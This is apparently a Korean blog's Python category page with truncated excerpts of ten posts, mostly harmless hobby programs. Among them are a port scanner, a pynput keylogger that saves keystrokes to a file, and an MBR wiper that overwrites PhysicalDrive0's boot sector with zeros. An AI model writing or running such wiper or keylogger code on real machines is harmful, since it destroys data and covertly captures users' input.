일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 화학물질
- 여행
- 화학물질안전원
- 파이썬
- webhacking
- Service
- codeup
- 연구모임
- 화학물질불법유통온라인감시단
- 경기팀
- 국가기록원
- UKPT
- 정보보안
- 도구모음
- nurisec
- 불법유통
- 기타정보
- 국가정보원
- 12기
- suninatas
- 불법유통근절
- UKPT level
- Los
- HTML
- 프로젝트
- 웹 해킹 입문
- PHP
- 국정원
- 대외활동
- MITRE ATT&CK
- Today
- Total
목록파이썬 (10)
agencies
간단하게 exe 파일을 실행하면 이미지가 나타나는 프로그램을 만들어보았습니다.이전에는 img 파일을 외부에서 가지고오느랴 방화벽이 차단을 했는데,이번에는 exe 생성 시 함께 만들어지도록 해보았습니다. 소스코드from tkinter import Tk, Canvasfrom PIL import Image, ImageTkimport tkinter.messagebox as messageboximport osimport sysdef resource_path(relative_path): """ Get absolute path to resource, works for PyInstaller """ base_path = getattr(sys, '_MEIPASS', os.path.abspath(".")) ..
if __name__=="__main__": 위 코드를 작성하면, 추후 모듈로 사용될 경우에 실행할 것인지를 고려합니다. 해당 코드가 메인으로 실행됐을때만 실행됩니다. 즉 다른 프로그램에서 이 모듈을 불러들였을 때는 실행되지 않는다는 의미를 갖고 있습니다. # _*_ coding: utf-8 _*_ 소스코드의 인코딩 형식을 명시할 때 사용되는 코드입니다. globals() globals() 내장 함수를 실행하면 생성된 함수 객체들을 볼 수 있습니다. dir(__builtins__) __builtins__는 내장 영역의 이름이 저장되어 있는 리스트입니다. p1.name = "hello" 를 입력할 경우 p1 인스턴스의 name 속성을 변경합니다. Q1. print 함수를 사용하지 않고 test라는 문자열을..
def prt(message): # 입력 메시지의 길이 계산 length = len(message) # 배열의 크기 결정 (가로, 세로) if length ** 0.5 % 1 != 0: # 만약 메시지의 길이가 제곱수가 아니라면 size = int(length ** 0.5) + 1 # 달팽이 배열의 크기는 제곱근에 1을 더한 값 else: # 메시지의 길이가 제곱수라면 size = int(length ** 0.5) # 달팽이 배열의 크기는 제곱근 # 2차원 배열 생성 snail_array = [] for i in range(size): inner_list = [] for j in range(size): inner_list.append(' ') snail_array.append(inner_list) # 달..
스크립트 import socket def port_scan(host, port): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) # 타임아웃 설정 (초 단위) result = sock.connect_ex((host, port)) if result == 0: print(f"Port {port} is open") else: print(f"Port {port} is closed") sock.close() except Exception as e: print(f"Error scanning port {port}: {e}") def main(): host = input("Enter the target host IP ad..
[Python]-피아노 건반 연주 파이썬 피아노 연주 예제 import turtle as t from winsound import Beep freq = {'c4':262, 'd4':294, 'e4':330, 'f4':349, 'g4':392, 'a4':440, 'b4':494, 'c5':523,} def play_freq(n): Beep(freq[n], 300) def key_1(): play_freq('c4') def key_2(): play_freq('d4') def key_3(): play_freq('e4') def key_4(): play_freq('f4') def key_5(): play_freq('g4') def key_6(): play_freq('a4') def key_7(): play_fr..
이번 시간에는 추억의 ben.exe 프로그램을 제작하려고 합니다. https://namu.wiki/w/Ben%20drowned Ben drowned - 나무위키 가장 흔한 Ben drowned 게임의 이름이다. 시리즈 자체가 한 제작자가 6번대 시리즈까지 제작된 것으로, 처음엔 짤막한 점프스케어에서 백신에서 ben.exe를 걸러내는 게임까지 만들어냈다. 첫번째 ben.e namu.wiki 이미지 출처(김재민) 님 준비물 - ben drowned (mp3) - ben image (webp) - winrar (exe) - python (script) * 이미지와 mp3를 base64로 인코딩하고, 프로그램 동작 시 디코딩해서 사용할 수 있습니다. 하지만 이번 방식은 이미지와 소리파일이 실행파일과 동일한 경로..
난해한 프로그래밍 언어 제작 (NIS*) 이번 시간에는 출력 기능만 지원하는 난해한 프로그래밍 언어를 제작하였습니다. N I S * 총 4글자만 사용됩니다. - N : 1 - I : 변수 저장 - S : 출력 - * : 10 곱하기 소스코드 """ N = 입력 값 (1) I = 변수 저장 S = 출력 * = 곱하기 (10) """ I = 0 II = 0 tmp = "" def user_in(msg): global I, II, tmp for i in msg: if (i!='N') and (i!='I') and (i!='S') and (i!='*'): print("This is not the NIS* programing language") return 0 else: if i == 'N': I += 1 eli..
* 파이썬 2.7.6 (기준)으로 작성되었습니다. 기본 문법 #story of "hong gil dong" name = "Hong Gil Dong" age = 18 weight = 69.3 skill = ["sword", "spear", "bow", "axe"] power = [98.5, 89.2, 100, 79.2] querySkill = raw_input("select weapon: ") print "\n" print "------------------------------------------" print "1.name:", name print "2.age:", age print "3.weight:", weight i=0 for each_item in skill: if(each_item == que..
from pynput import keyboard def on_press(key): try: print(f'{key.char}') except AttributeError: # 특수 키 처리 print(f'{key}') def on_release(key): if key == keyboard.Key.esc: # 리스너 중단 return False # 키 이벤트가 발생할 때까지 이벤트를 수집 with keyboard.Listener(on_press=on_press, on_release=on_release) as listener: listener.join() 실행화면 메모장에 저장하는 소스코드 from pynput import keyboard f = open("write.txt","a") def on_press..
※ 해당 프로그램을 실행하기에 앞서 주의를 부탁드립니다. mbr 프로그램을 관리자 권한으로 실행합니다. MBR 부분이 0x00 의 값으로 모두 변경이 되었습니다. 재부팅을 하면 다음과 같은 화면이 나타납니다. import time # Specify the disk to read and write (e.g., "\\\\.\\PhysicalDrive0") disk_path = r"\\.\PhysicalDrive0" try: # Open the disk for writing with open(disk_path, "rb+") as disk_file: # Seek to the beginning of the disk (MBR start) disk_file.seek(0) # Modify MBR to all 0x00 ..